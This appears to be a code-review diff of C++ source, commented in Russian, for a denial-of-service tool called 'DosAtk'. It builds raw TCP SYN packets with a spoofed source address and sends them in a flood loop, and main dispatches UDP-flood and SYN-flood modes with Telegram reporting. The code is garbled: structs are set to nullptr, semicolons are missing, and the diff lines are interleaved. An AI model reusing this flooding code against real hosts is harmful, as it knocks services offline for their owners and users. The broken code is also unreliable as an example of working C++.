printf("start my_tcp_syn"); // debug
|
|
||||||
|
|
||||||
|
|
||||||
// === Объявление локальных переменных ===
|
|
||||||
int sock; // Основной raw-сокет для отправки пакетов
|
|
||||||
int one; // Флаг для setsockopt
|
|
||||||
// Структуры для адресов
|
|
||||||
struct sockaddr_in target_addr; // Адрес цели
|
|
||||||
// Параметры подключения
|
|
||||||
uint16_t target_port = 0; // Порт цели (в сетевом порядке байт)
|
|
||||||
// Структуры заголовков
|
|
||||||
struct iphdr ip_header; // IP-заголовок пакета
|
|
||||||
struct tcphdr tcp_header; // TCP-заголовок пакета
|
|
||||||
// Псевдозаголовок для контрольной суммы
|
|
||||||
struct {
|
|
||||||
uint32_t saddr;
|
|
||||||
uint32_t daddr;
|
|
||||||
uint8_t zero;
|
|
||||||
uint8_t protocol;
|
|
||||||
uint16_t tcp_len;
|
|
||||||
} pseudo_header;
|
|
||||||
// Буферы данных
|
|
||||||
char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы
|
|
||||||
char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет
|
|
||||||
|
|
||||||
// === Инициализация переменных ===
|
|
||||||
sock = -1;
|
|
||||||
one = 1;
|
|
||||||
target_addr = nullptr;
|
|
||||||
target_port = htons(atoi(port.c_str()));
|
|
||||||
ip_header = nullptr;
|
|
||||||
tcp_header = nullptr;
|
|
||||||
pseudo_header = nullptr;
|
|
||||||
temp_buf = nullptr;
|
|
||||||
packet = nullptr;
|
|
||||||
|
|
||||||
// === Основная логика процедуры ===
|
|
||||||
// 1. Создание raw-сокета
|
|
||||||
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
|
|
||||||
return -201;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 2. Установка опции IP_HDRINCL
|
|
||||||
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one));
|
|
||||||
|
|
||||||
// 3. Настройка адреса цели
|
|
||||||
memset(&target_addr, 0, sizeof(target_addr));
|
|
||||||
target_addr.sin_family = AF_INET;
|
|
||||||
inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0
|
|
||||||
|
|
||||||
// 4. Формирование IP заголовка
|
|
||||||
memset(&ip_header, 0, sizeof(ip_header));
|
|
||||||
ip_header.ihl = 5;
|
|
||||||
ip_header.version = 4;
|
|
||||||
ip_header.tot_len = htons(sizeof(iphdr) + sizeof(tcphdr));
|
|
||||||
ip_header.ttl = 64;
|
|
||||||
ip_header.protocol = IPPROTO_TCP;
|
|
||||||
ip_header.saddr = inet_addr("127.0.0.1");
|
|
||||||
ip_header.daddr = inet_addr(ip.c_str());
|
|
||||||
|
|
||||||
// 5. Формирование TCP заголовка
|
|
||||||
memset(&tcp_header, 0, sizeof(tcphdr));
|
|
||||||
tcp_header.source = htons(12345);
|
|
||||||
tcp_header.dest = target_port;
|
|
||||||
tcp_header.seq = htonl(123456);
|
|
||||||
tcp_header.doff = 5;
|
|
||||||
tcp_header.syn = 1;
|
|
||||||
tcp_header.window = htons(5840);
|
|
||||||
|
|
||||||
// 6. Расчет контрольной суммы
|
|
||||||
pseudo_header = {
|
|
||||||
.saddr = ip_header.saddr,
|
|
||||||
.daddr = ip_header.daddr,
|
|
||||||
.zero = 0,
|
|
||||||
.protocol = IPPROTO_TCP,
|
|
||||||
.tcp_len = htons(sizeof(tcphdr))
|
|
||||||
};
|
|
||||||
memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header));
|
|
||||||
memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr));
|
|
||||||
tcp_header.check = checksum(temp_buf, sizeof(temp_buf));
|
|
||||||
|
|
||||||
// 7. Сборка пакета
|
|
||||||
memcpy(packet, &ip_header, sizeof(iphdr));
|
|
||||||
memcpy(packet + sizeof(iphdr), &tcp_header, sizeof(tcphdr));
|
|
||||||
|
|
||||||
// 8. Отправка пакета
|
|
||||||
if (sendto(sock, packet, sizeof(packet), 0,
|
|
||||||
(struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) {
|
|
||||||
n_fail_requests++;
|
|
||||||
return -202;
|
|
||||||
} else {
|
|
||||||
n_ok_requests++;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 9. Проверка завершения
|
|
||||||
if ((n_ok_requests + n_fail_requests) >= 1000) {
|
|
||||||
return 2;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
close(sock);
|
|
||||||
printf("end my_tcp_syn"); // debug
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
int my_dns()
|
int my_tcp_syn()
|
||||||
{
|
{
|
||||||
// Данная процедура сопостовляет доменное имя с IP
|
return 2;
|
||||||
// Обрабатываем перменнкю domain, записываем в ip
|
|
||||||
// -4001 - ошибка инициализации CURL
|
|
||||||
// -4002 - ошибка запроса CURL
|
|
||||||
// -4003 - ошибка парсинга JSON
|
|
||||||
|
|
||||||
CURL* curl; // объект curl
|
|
||||||
CURLcode res; // результат выполнения запроса
|
|
||||||
std::string response; // ответ DNS сервера
|
|
||||||
std::string url; // API DNS сервера
|
|
||||||
struct curl_slist* headers; // Заголовки
|
|
||||||
nlohmann::json json_data; // Ответ от dns сервера
|
|
||||||
int status; // Состояние работы процедуры
|
|
||||||
|
|
||||||
status = 0;
|
|
||||||
curl = 0;
|
|
||||||
res = {};
|
|
||||||
response = "";
|
|
||||||
url = "";
|
|
||||||
headers = {0};
|
|
||||||
json_data = {0};
|
|
||||||
|
|
||||||
printf("start my_dns"); // debug
|
|
||||||
|
|
||||||
// Инициализируем curl
|
|
||||||
curl = curl_easy_init();
|
|
||||||
if (!curl) {
|
|
||||||
status = -4001;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
// Формируем URL для Cloudflare DoH
|
|
||||||
url = "https://1.1.1.1/dns-query?name=" + domain + "&type=A";
|
|
||||||
|
|
||||||
// Настройки CURL
|
|
||||||
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
|
|
||||||
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback);
|
|
||||||
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response);
|
|
||||||
curl_easy_setopt(curl, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_2_0); // HTTP/2
|
|
||||||
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 1L); // Проверка SSL
|
|
||||||
|
|
||||||
// Устанавливаем заголовок
|
|
||||||
headers = curl_slist_append(headers, "accept: application/dns-json");
|
|
||||||
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
|
|
||||||
|
|
||||||
// Выполняем запрос
|
|
||||||
res = curl_easy_perform(curl);
|
|
||||||
if (res != CURLE_OK) {
|
|
||||||
status = -4002;
|
|
||||||
} else {
|
|
||||||
// Парсим JSON и извлекаем IP
|
|
||||||
try {
|
|
||||||
json_data = nlohmann::json::parse(response);
|
|
||||||
if (json_data.contains("Answer")) {
|
|
||||||
for (const nlohmann::json& record : json_data["Answer"]) {
|
|
||||||
if (record["type"] == 1) { // A-запись (IPv4) (Это же и проверка валидного IP)
|
|
||||||
ip = record["data"].get<std::string>();
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (const std::exception& e) {
|
|
||||||
status = -4003;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Освобождаем ресурсы
|
|
||||||
curl_slist_free_all(headers);
|
|
||||||
curl_easy_cleanup(curl);
|
|
||||||
|
|
||||||
if (!status) {
|
|
||||||
status = 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
printf("end my_dns"); // debug
|
|
||||||
return status;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Callback для записи ответа от сервера
|
int my_udp()
|
||||||
size_t WriteCallback(void* contents, size_t size, size_t nmemb, std::string* output) {
|
{
|
||||||
size_t total_size = size * nmemb;
|
return 2;
|
||||||
output->append((char*)contents, total_size);
|
|
||||||
return total_size;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/*
|
int main(int argc, char **argv)
|
||||||
█████ █████ ██ ███ █████ ████ ███ █████ ████ ███ █ █ █ █ █ █
|
|
||||||
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ██ ██ ██ ██ █ █
|
|
||||||
█ ████ █ █ █ █ █ █ ████ █ █ █ ████ █████ █ █ █ █ █ █ ███ █
|
|
||||||
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
|
|
||||||
█ █████ █ █ ███ █ █ █ ███ █ █ █ █ █ █ █ █ ███ █
|
|
||||||
*/
|
|
||||||
|
|
||||||
int main(int arg_ctr, char **arg_ptr)
|
|
||||||
{
|
{
|
||||||
// Инициализация глобальных переменных
|
int check_params_status;
|
||||||
int argc = arg_ctr;
|
int log_status;
|
||||||
char **argv = arg_ptr;
|
int dns_status;
|
||||||
std::string attack_type = "";
|
int udp_status;
|
||||||
std::string domain = "";
|
int tcp_syn_status;
|
||||||
std::string ip = "";
|
|
||||||
std::string port = "";
|
|
||||||
std::string log_file = "/var/log/DosAtk";
|
|
||||||
std::string telegram_id = "";
|
|
||||||
std::string telegram_token = "";
|
|
||||||
int n_ok_requests = 0;
|
|
||||||
int n_fail_requests = 0;
|
|
||||||
std::chrono::system_clock::time_point start_timestamp = std::chrono::system_clock::now();
|
|
||||||
std::string log_msg = "";
|
|
||||||
std::string fin_msg = "";
|
|
||||||
std::string msg;
|
|
||||||
int status = 0;
|
|
||||||
|
|
||||||
status = my_check_params(); // Проверяем параметры командной строки
|
// ====== Тело программы ====== //
|
||||||
|
n_ok_requests = 0;
|
||||||
|
n_fail_requests = 0;
|
||||||
switch (status) // Обрабатываем результат проверки параметров
|
start_timestamp = std::chrono::system_clock::now();
|
||||||
|
|
||||||
|
time_t now_time_t = std::chrono::system_clock::to_time_t(start_timestamp);
|
||||||
|
|
||||||
|
std::chrono::milliseconds ms = std::chrono::duration_cast<std::chrono::milliseconds>(start_timestamp.time_since_epoch()) % 1000;
|
||||||
|
|
||||||
|
printf("Starting DosAtk at %04d-%02d-%02d %02d:%02d:%02d.%03ld\n",
|
||||||
|
std::localtime(&now_time_t)->tm_year + 1900,
|
||||||
|
std::localtime(&now_time_t)->tm_mon + 1,
|
||||||
|
std::localtime(&now_time_t)->tm_mday,
|
||||||
|
std::localtime(&now_time_t)->tm_hour,
|
||||||
|
std::localtime(&now_time_t)->tm_min,
|
||||||
|
std::localtime(&now_time_t)->tm_sec,
|
||||||
|
ms.count());
|
||||||
|
|
||||||
|
check_params_status = my_check_params(argc, argv);
|
||||||
|
switch (check_params_status)
|
||||||
{
|
{
|
||||||
case 1: // Режим сканирования портов (UDP)
|
case 1:
|
||||||
status = my_dns(); // Пытаемся разрешить DNS (если указано доменное имя)
|
dns_status = my_dns();
|
||||||
if (status == 0) // Если DNS разрешен успешно
|
if (dns_status == 0)
|
||||||
{
|
{
|
||||||
while (true) // Запускаем цикл UDP-атаки
|
while (udp_status = my_udp())
|
||||||
{
|
{
|
||||||
status = my_udp()
|
if (udp_status == 2)
|
||||||
if (status == 2) // Код завершения атаки
|
|
||||||
{
|
{
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
else if (status < 0) // Обработка ошибок
|
else if (udp_status < 0)
|
||||||
{
|
{
|
||||||
my_diag(); // Выводим диагностику
|
my_diag(udp_status);
|
||||||
status = my_log(); // Пытаемся записать в лог
|
log_status = my_log();
|
||||||
if (status == 1) // Если записать лог не удалось
|
if (log_status == 1)
|
||||||
{
|
{
|
||||||
my_msg(); // Отправляем сообщение
|
my_msg();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
// Завершающие действия после атаки
|
log_status = my_log();
|
||||||
my_log(); // Логируем завершение
|
my_msg();
|
||||||
my_msg(); // Отправляем финальное сообщение
|
my_fin();
|
||||||
my_fin(); // Корректно завершаем программу
|
|
||||||
}
|
}
|
||||||
else if (status == 1) // Ошибка DNS-разрешения
|
else if (dns_status == 1)
|
||||||
{
|
{
|
||||||
my_diag(); // Выводим ошибку
|
my_diag(check_params_status);
|
||||||
status = my_log(); // Логируем ошибку
|
log_status = my_log();
|
||||||
|
if (log_status == 0){
|
||||||
if (status == 0) // Если лог получилось записать
|
my_fin();
|
||||||
{
|
|
||||||
my_fin(); // Просто завершаем программу
|
|
||||||
}
|
}
|
||||||
else if (log_status == 1) // Если лог не удалось записать
|
else if (log_status == 1)
|
||||||
{
|
{
|
||||||
my_msg(); // Отправляем сообщение
|
my_msg();
|
||||||
my_fin(); // Завершаем программу
|
my_fin();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case 2: // Режим SYN-флуда (TCP)
|
case 2:
|
||||||
// Пытаемся разрешить DNS (если указано доменное имя)
|
dns_status = my_dns();
|
||||||
status = my_dns();
|
if (dns_status == 0)
|
||||||
|
|
||||||
if (status == 0) // Если DNS разрешен успешно
|
|
||||||
{
|
{
|
||||||
// Запускаем цикл UDP-атаки
|
while (tcp_syn_status = my_tcp_syn())
|
||||||
while (true)
|
|
||||||
{
|
{
|
||||||
status = my_tcp_syn()
|
if (tcp_syn_status == 2)
|
||||||
if (status == 2) // Код завершения атаки
|
|
||||||
{
|
{
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
else if (status < 0) // Обработка ошибок
|
else if (tcp_syn_status < 0)
|
||||||
{
|
{
|
||||||
my_diag(); // Выводим диагностику
|
my_diag(tcp_syn_status);
|
||||||
status = my_log(); // Пытаемся записать в лог
|
log_status = my_log();
|
||||||
if (status == 1) // Если записать лог не удалось
|
if (log_status == 1)
|
||||||
{
|
{
|
||||||
my_msg(); // Отправляем сообщение
|
my_msg();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
// Завершающие действия после атаки
|
log_status = my_log();
|
||||||
my_log(); // Логируем завершение
|
my_msg();
|
||||||
my_msg(); // Отправляем финальное сообщение
|
my_fin();
|
||||||
my_fin(); // Корректно завершаем программу
|
|
||||||
}
|
}
|
||||||
else if (status == 1) // Ошибка DNS-разрешения
|
else if (dns_status == 1)
|
||||||
{
|
{
|
||||||
my_diag(); // Выводим ошибку
|
my_diag(check_params_status);
|
||||||
status = my_log(); // Логируем ошибку
|
log_status = my_log();
|
||||||
|
if (log_status == 0)
|
||||||
if (status == 0) // Если лог получилось записать
|
|
||||||
{
|
{
|
||||||
my_fin(); // Просто завершаем программу
|
my_fin();
|
||||||
}
|
}
|
||||||
else if (log_status == 1) // Если лог не удалось записать
|
else if (log_status == 1)
|
||||||
{
|
{
|
||||||
my_msg(); // Отправляем сообщение
|
my_msg();
|
||||||
my_fin(); // Завершаем программу
|
my_fin();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case 0: // Некорректные параметры или запрос справки
|
default:
|
||||||
case -1:
|
my_diag(check_params_status);
|
||||||
case -10:
|
log_status = my_log();
|
||||||
case -20:
|
if (log_status == 0)
|
||||||
case -101:
|
|
||||||
case -600:
|
|
||||||
my_diag(); // Выводим диагностику
|
|
||||||
status = my_log(); // Логируем событие
|
|
||||||
|
|
||||||
if (status == 0) // Без уведомления
|
|
||||||
{
|
{
|
||||||
my_fin(); // Завершаем программу
|
my_fin();
|
||||||
}
|
}
|
||||||
else if (status == 1) // С уведомлением
|
else if (log_status == 1)
|
||||||
{
|
{
|
||||||
my_msg(); // Отправляем сообщение
|
my_msg();
|
||||||
my_fin(); // Завершаем программу
|
my_fin();
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
return 0;
|
||||||
return 0; // Возвращаем код успешного завершения
|
|
||||||
}
|
}
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue